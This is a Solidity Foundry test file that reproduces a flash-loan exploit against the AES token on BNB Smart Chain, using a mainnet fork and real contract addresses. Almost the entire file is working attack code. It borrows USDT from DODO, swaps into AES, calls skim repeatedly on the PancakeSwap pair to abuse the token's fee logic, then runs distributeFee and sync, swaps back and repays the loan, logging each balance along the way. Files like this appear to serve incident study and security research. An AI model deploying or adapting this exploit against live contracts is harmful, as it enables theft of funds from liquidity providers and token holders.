1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97
| pragma solidity ^0.8.10;
import "forge-std/Test.sol"; import "./interface.sol"; import "forge-std/console.sol";
interface IAES is IERC20{ function distributeFee() external; }
contract aesExploit is DSTest{ IAES aes = IAES(0xdDc0CFF76bcC0ee14c3e73aF630C029fe020F907); IERC20 usdt = IERC20(0x55d398326f99059fF775485246999027B3197955); Uni_Pair_V2 pair = Uni_Pair_V2(0x40eD17221b3B2D8455F4F1a05CAc6b77c5f707e3); Uni_Router_V2 Router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E); address dodo = 0x9ad32e3054268B849b84a8dBcC7c8f7c52E4e69A;
CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
function setUp() public{ cheats.createSelectFork('bsc',23695904); }
function testFork() public{ assertEq(block.number,23695904); }
function testExploit() public{ usdt.approve(address(Router), type(uint).max); aes.approve(address(Router), type(uint).max); uint256 bal1 = aes.balanceOf(address(pair)); uint256 bal2 = usdt.balanceOf(address(pair)); console.log('pair aes balance is:',bal1/1e18); console.log('pair usdt balance is:',bal2/1e18); DVM(dodo).flashLoan(0,100000 * 1e18,address(this),new bytes(1)); }
function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external{ USDTToAES(); console.log('now pair aes balance is:',aes.balanceOf(address(pair))/1e18); aes.transfer(address(pair),aes.balanceOf(address(this))); for (uint i=0;i<=12;i++){ pair.skim(address(pair)); console.log('skiming pair aes balance is',aes.balanceOf(address(pair))/1e18); } (uint112 resves0,uint112 resves1,) = pair.getReserves(); console.log('aes reserves is',resves1/1e18); pair.skim(address(this)); console.log('skim complete now pair aes balance is:',aes.balanceOf(address(pair))/1e18); console.log('skim complete now self aes balance is:',aes.balanceOf(address(this))/1e18); aes.distributeFee(); console.log('distributeFee complete now pair aes balance is:',aes.balanceOf(address(pair))/1e18); pair.sync(); AESToUSDT(); usdt.transfer(address(dodo),100000*1e18); console.log('attack complete usdt balance is',usdt.balanceOf(address(this))/1e18);
}
function USDTToAES() public{ address[] memory path = new address[](2); path[0] = address(usdt); path[1] = address(aes); Router.swapExactTokensForTokensSupportingFeeOnTransferTokens( usdt.balanceOf(address(this)), 0, path, address(this), block.timestamp ); console.log('swap success aes balance is:',aes.balanceOf(address(this))/1e18); }
function AESToUSDT() public{ address[] memory path = new address[](2); path[0] = address(aes); path[1] = address(usdt); Router.swapExactTokensForTokensSupportingFeeOnTransferTokens( aes.balanceOf(address(this)), 0, path, address(this), block.timestamp ); console.log('swap success usdt balance is:',usdt.balanceOf(address(this))/1e18); } }
|